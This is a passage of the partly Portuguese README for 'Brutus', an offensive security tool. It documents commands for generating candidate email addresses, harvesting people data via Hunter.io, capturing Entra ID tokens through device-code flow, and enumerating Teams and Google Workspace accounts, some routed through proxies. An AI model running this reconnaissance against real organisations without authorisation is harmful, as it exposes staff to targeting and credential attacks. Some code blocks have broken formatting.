# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last
Hunter.io Domain Search
Descubra pessoas (e-mail, nome, cargo, telefone, departamento, senioridade, confiança) associadas a um domínio via a API Hunter.io Domain Search. Pagina automaticamente até que todos os resultados sejam recuperados.```bash
Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)
export HUNTER_API_KEY=your_key_here
Discover people for a domain
brutus enum hunter --domain example.com
Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)
brutus enum hunter --domain example.com --api-key your_key_here
JSONL output to file (one record per person, with type:"hunter" discriminator)
brutus enum hunter --domain example.com --output people.jsonl
Adjust pagination page size (default: 100)
brutus enum hunter --domain example.com --limit 50
---
### Autenticação do Microsoft Teams / Entra ID
Obtenha um token de acesso OAuth2, token de atualização e token de ID do Microsoft Entra ID (Azure AD) usando o [fluxo de código de dispositivo](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Os tokens resultantes podem ser usados para chamadas da API do Microsoft Graph, enumeração do Teams e auditoria por meio de ferramentas como [ROADtools](https://github.com/dirkjanm/ROADtools) ou consultas Graph personalizadas.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth
# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json
Como funciona:
- Brutus solicita um código de dispositivo de
login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode - Um código curto e um URL são exibidos — abra o URL em qualquer navegador e insira o código
- Brutus faz polling até que você complete o login, o código expire ou pressione
Ctrl+C - Em caso de sucesso, o token de acesso, o token de atualização e o token de ID são exibidos
A saída humana mostra apenas os primeiros 20 caracteres do token de acesso (suficiente para verificação). Use --json ou -o para capturar os valores completos do token.
ID de cliente padrão: O aplicativo de desktop do Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264), um cliente público de primeira parte que suporta fluxo de código de dispositivo. Substitua com --client-id para usar seu próprio registro de aplicativo.```
$ brutus enum active teams auth --tenant contoso.com
[*] Starting Microsoft device code authentication...
[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m
[*] Waiting for you to complete sign-in...
[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:
#### Enumeração de usuários do Teams
Uma vez autenticado, enumere usuários corporativos do Teams por endereço de e-mail. Cada
resultado é `exists`, `blocked` (o locatário proíbe pesquisa externa, mas o usuário
pode existir), `not found` ou `unknown` (falha de autenticação/transporte). Contas Personal/Live
não são suportadas — apenas locatários corporativos.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]
# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000
# Enumerate emails from a file
brutus enum active teams users -E emails.txt
# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"
Quando um token de atualização está disponível (via --token-file ou --refresh-token), um token de acesso expirado é renovado automaticamente uma vez; caso contrário, um 401 degrada-se graciosamente para um resultado unknown.
Enumeração de contas do Google Workspace
Verifique se endereços de e-mail correspondem a contas do Google usando dois oráculos não autenticados — nenhum token ou login necessário:
- Redirecionamento SSO do AccountChooser — revela contas do Workspace em domínios configurados com logon único, além do host do provedor de identidade (IdP) para o qual redirecionam (
workspace-sso). - Sonda Gmail GXLU — revela contas habilitadas para Gmail (
gmail).
Cada resultado é exists (com o método de confirmação e, para SSO, o host IdP) ou not found.```bash
Enumerate a couple of emails
brutus enum active google -e [email protected],[email protected]
Generate candidate emails for a domain and enumerate the most-likely 5000
brutus enum active google --domain target.com --format first.last --limit 5000
Enumerate emails from a file
brutus enum active google -E emails.txt
Route through a SOCKS5 proxy and raise concurrency
brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20
`--domain` reutiliza o mesmo gerador de nomes próprios/sobrenomes ordenados por frequência que `enum generate`; `--format` seleciona o layout do nome de usuário e `--limit` limita a geração aos primeiros N candidatos (mais prováveis). `--domain` pode ser combinado com `-e`/`-E`.
---
## Limitações Conhecidas
### Detecção Heurística de Teclas de Aderência
- **Falsos negativos alternados:** A detecção exclusivamente heurística (`brutus logon` sem `--experimental-ai`) pode produzir falsos negativos em escaneamentos repetidos contra o mesmo alvo. Após uma detecção bem-sucedida, a janela do cmd.exe permanece aberta no servidor. Conexões subsequentes veem o cmd.exe no quadro de referência, e como enviar 5x Shift não cria uma nova janela, a diferença de pixels é mínima — resultando em um veredito "limpo". Isso não afeta o modo `--experimental-ai`, que usa a análise da API Vision diretamente no quadro de resposta (não uma diferença entre quadro de referência e resposta) e identifica confiavelmente a janela do terminal independentemente do estado anterior.
- **Solução alternativa:** Use `--experimental-ai` com `ANTHROPIC_API_KEY` configurada para detecção consistente em escaneamentos repetidos, ou aguarde um intervalo entre escaneamentos para a sessão RDP ser reiniciada.
### Plugin do Navegador
- Requer Chrome/Chromium instalado localmente
- O modo headless pode não funcionar em todos os sistemas
- Algumas páginas de login com muito JavaScript podem exigir tempo de espera adicional